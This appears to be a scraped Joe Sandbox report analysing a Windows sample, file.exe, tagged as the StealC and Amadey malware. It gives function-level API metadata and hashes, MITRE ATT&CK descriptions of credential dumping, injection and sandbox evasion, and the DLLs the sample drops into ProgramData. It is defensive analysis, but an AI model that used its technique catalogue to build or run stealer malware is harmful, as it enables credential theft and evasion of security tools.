Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction ID: 4eec0349a851278febdca1097a833dac929feb13fc97b1122e099e3fb31f5552
Opcode Fuzzy Hash: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction Fuzzy Hash: 2BF0503120994CDBDB008BA8C852A9273F1935361CF5C0155F80477F91C731F65ACB53

Function 6C969E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C969EEF

Strings

Infinity, xrefs: 6C969EB7
NaN, xrefs: 6C969EC1

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction ID: a68406bf20254f7c53f4006fc1909cdaea423b497af1176b9eea011b9f2a109e
Opcode Fuzzy Hash: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction Fuzzy Hash: 0AF04971609E41CBEB00CF98D847B9473B1A75771DF354A59C5082BB80D775F6CACA82

Function 6C96BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C96BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C96BEF5

Strings

cryptbase.dll, xrefs: 6C96BEF0

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction ID: 9c1673ca6a609f562cc4062b7d4c9acec0c25ea6c164f6b512cc7d3c994cb781
Opcode Fuzzy Hash: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction Fuzzy Hash: 89D023311C4508F7D7016B518C09F1937789702715F20C020F30564C91D7B0F450DFE4

Function 6C9550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C95510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C955167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C955196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C), ref: 6C955234

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: edee7e2876aee732ff45a78ac653b5fdb823a2baad613fbc1bdc7a711393f647
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B691CE35501646CFCB14CF09C490A5ABBA6FF99318B28858CDC589BB16D331FD92CBE1

Function 6C9908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990918
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9909A6
EnterCriticalSection.KERNEL32(6C9DE7DC,?,00000000), ref: 6C9909F3
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990ACB

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction ID: d3befe7a4f976c521bfad4eace1527be6ce43af4b2af64afd759f938475818cc
Opcode Fuzzy Hash: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction Fuzzy Hash: 90512C36B06E50CBEB049A15C414665B3B9EB8AF2473D853ADD75A7F80D731FC8186C1

Function 6C9AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB628

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9AB127,?,?,?,?,?,?,?,?), ref: 6C9AB74D

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction ID: c65967e1f85ce746cd827f6644134cdf9e4f9b300e1e802e70dec5fa333f7cc0
Opcode Fuzzy Hash: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction Fuzzy Hash: 8651ED71A0521ACBDB14CF98C98076EBBB5FF44704F15852DC85AABB10D771E806CBA1

Function 6C9ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C99FF2A), ref: 6C9ADFFD

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C99FF2A), ref: 6C9AE0FE

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction ID: f2ae2ce04c91387e652841b62fccb90e4afd234def3e245de11b8f595b4916ab
Opcode Fuzzy Hash: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction Fuzzy Hash: 8741C471608226CFEB14CFA9C89036A73B5BB45308F14453DD516EB740E731E966CB92

Function 6C9A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6F5C

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction ID: 27068665d7e028ac19d70f7693af422e3f232266c6bb996cdf046fac444b5bb7
Opcode Fuzzy Hash: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction Fuzzy Hash: 9531F671A1060A8FDB04CF6CC9806AA73E9EB94304F60423DD41AD7651EF31E66AC7A1

Function 6C9BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C960A4D), ref: 6C9BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C960A4D), ref: 6C9BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C960A4D), ref: 6C9BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C960A4D), ref: 6C9BB67F

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction ID: 1e6818b70d90afa943eacdccacf6a42aefc3ddc81936bb5cfd5fe10332e2ae08
Opcode Fuzzy Hash: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction Fuzzy Hash: 6E31E371A00217DFDB10CF58C88466BBBB9EF84324F168629C84AFB241DB31ED15CBA1

Function 6C98F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F668

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e7f27f9f32ace74b3a6bba9ab02ad8230c30b8ed2a5ba9c71f665feb71d6b9ea
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71B00214AFCB14CF19DCC0AAA7BB9EB94358B148938EA498BF04D631E9448B91

Function 6C9A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26C1
free.MOZGLUE(?), ref: 6C9A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26FF
free.MOZGLUE ref: 6C9A270D

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction ID: 808196dbb8c7bf08ebfe75096d6c216f8bfecdf6c4da0336bc457311e1ce8cce
Opcode Fuzzy Hash: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction Fuzzy Hash: 44F02DB27026016BEB109E59D88495B73ADFF5131CB200035EA1ED3B11E331F95AC6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CBGCAFII

C:\ProgramData\EHIJDHCAKKFCBGCBAAEC

C:\ProgramData\EHJKFCGH

C:\ProgramData\HDHJEBFBFHJECAKFCAAK

C:\ProgramData\IIIDAKJDHJKFHIEBFCGHCGHDGC

C:\ProgramData\JKKEHJDHJKFIECAAKFIJ

C:\ProgramData\KECBGCGCGIEGCBFHIIEBFCAFHI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

